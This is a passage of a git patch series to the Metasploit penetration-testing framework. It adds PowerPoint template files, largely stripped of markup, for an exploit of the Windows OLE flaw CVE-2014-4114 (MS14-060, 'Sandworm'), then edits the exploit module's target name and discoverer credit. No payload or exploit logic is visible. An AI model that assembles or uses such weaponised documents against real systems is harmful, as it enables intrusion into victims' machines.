b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout2.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout3.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout3.xml new file mode 100755 index 0000000000..4a1b2c3905 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout3.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text styles10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout4.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout4.xml new file mode 100755 index 0000000000..4e52d9f322 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout4.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth levelClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout5.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout5.xml new file mode 100755 index 0000000000..1c5e3e84fc --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout5.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesClick to edit Master text stylesSecond levelThird levelFourth levelFifth levelClick to edit Master text stylesClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout6.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout6.xml new file mode 100755 index 0000000000..32a00fac5f --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout6.xml @@ -0,0 +1,2 @@ + +Click to edit Master title style10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout7.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout7.xml new file mode 100755 index 0000000000..8be4e3c9eb --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout7.xml @@ -0,0 +1,2 @@ + +10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout8.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout8.xml new file mode 100755 index 0000000000..ebc0125e63 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout8.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth levelClick to edit Master text styles10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout9.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout9.xml new file mode 100755 index 0000000000..a70a48f525 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout9.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text styles10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideMasters/_rels/slideMaster1.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideMasters/_rels/slideMaster1.xml.rels new file mode 100755 index 0000000000..0aacb7fae3 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideMasters/_rels/slideMaster1.xml.rels @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideMasters/slideMaster1.xml b/data/exploits/CVE-2014-4114/template/ppt/slideMasters/slideMaster1.xml new file mode 100755 index 0000000000..8cdf983666 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideMasters/slideMaster1.xml @@ -0,0 +1,505 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Click to edit Master title style + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Click to edit Master text styles + + + + + + + Second level + + + + + + + Third level + + + + + + + Fourth level + + + + + + + Fifth level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10/16/2014 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ‹#› + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slides/_rels/slide1.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slides/_rels/slide1.xml.rels new file mode 100755 index 0000000000..102dac0c9b --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slides/_rels/slide1.xml.rels @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slides/slide1.xml b/data/exploits/CVE-2014-4114/template/ppt/slides/slide1.xml new file mode 100755 index 0000000000..70a0d21af4 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slides/slide1.xml @@ -0,0 +1,425 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Example + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Example + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + style.visibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + style.visibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + style.visibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/tableStyles.xml b/data/exploits/CVE-2014-4114/template/ppt/tableStyles.xml new file mode 100755 index 0000000000..ecd5f7a019 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/tableStyles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/theme/theme1.xml b/data/exploits/CVE-2014-4114/template/ppt/theme/theme1.xml new file mode 100755 index 0000000000..1f0f3c1072 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/viewProps.xml b/data/exploits/CVE-2014-4114/template/ppt/viewProps.xml new file mode 100755 index 0000000000..c78970ba8b --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/viewProps.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file From 807f1e3560c7ae1b572492c5772f3338dd19e1de Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 16 Oct 2014 17:58:45 -0500 Subject: [PATCH 4/5] Fix target name --- modules/exploits/windows/fileformat/ms14_060_sandworm.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb index 0a041f4031..ec35084ada 100644 --- a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb +++ b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_X86, 'Targets' => [ - ['Windows 7 SP1 / Office 2010 SP1', {}], + ['Windows 7 SP1 / Office 2013', {}], ], 'Privileged' => false, 'DisclosureDate' => "Oct 14 2014", From 1d16bd5c771052f88a04e24fdc6b83b4a32ca0b7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 16 Oct 2014 18:01:45 -0500 Subject: [PATCH 5/5] Fix vulnerability discoverer --- modules/exploits/windows/fileformat/ms14_060_sandworm.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb index ec35084ada..24b5740202 100644 --- a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb +++ b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Eduardo Prado', # Vulnerability discovery + 'Unknown', # Vulnerability discovery 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ],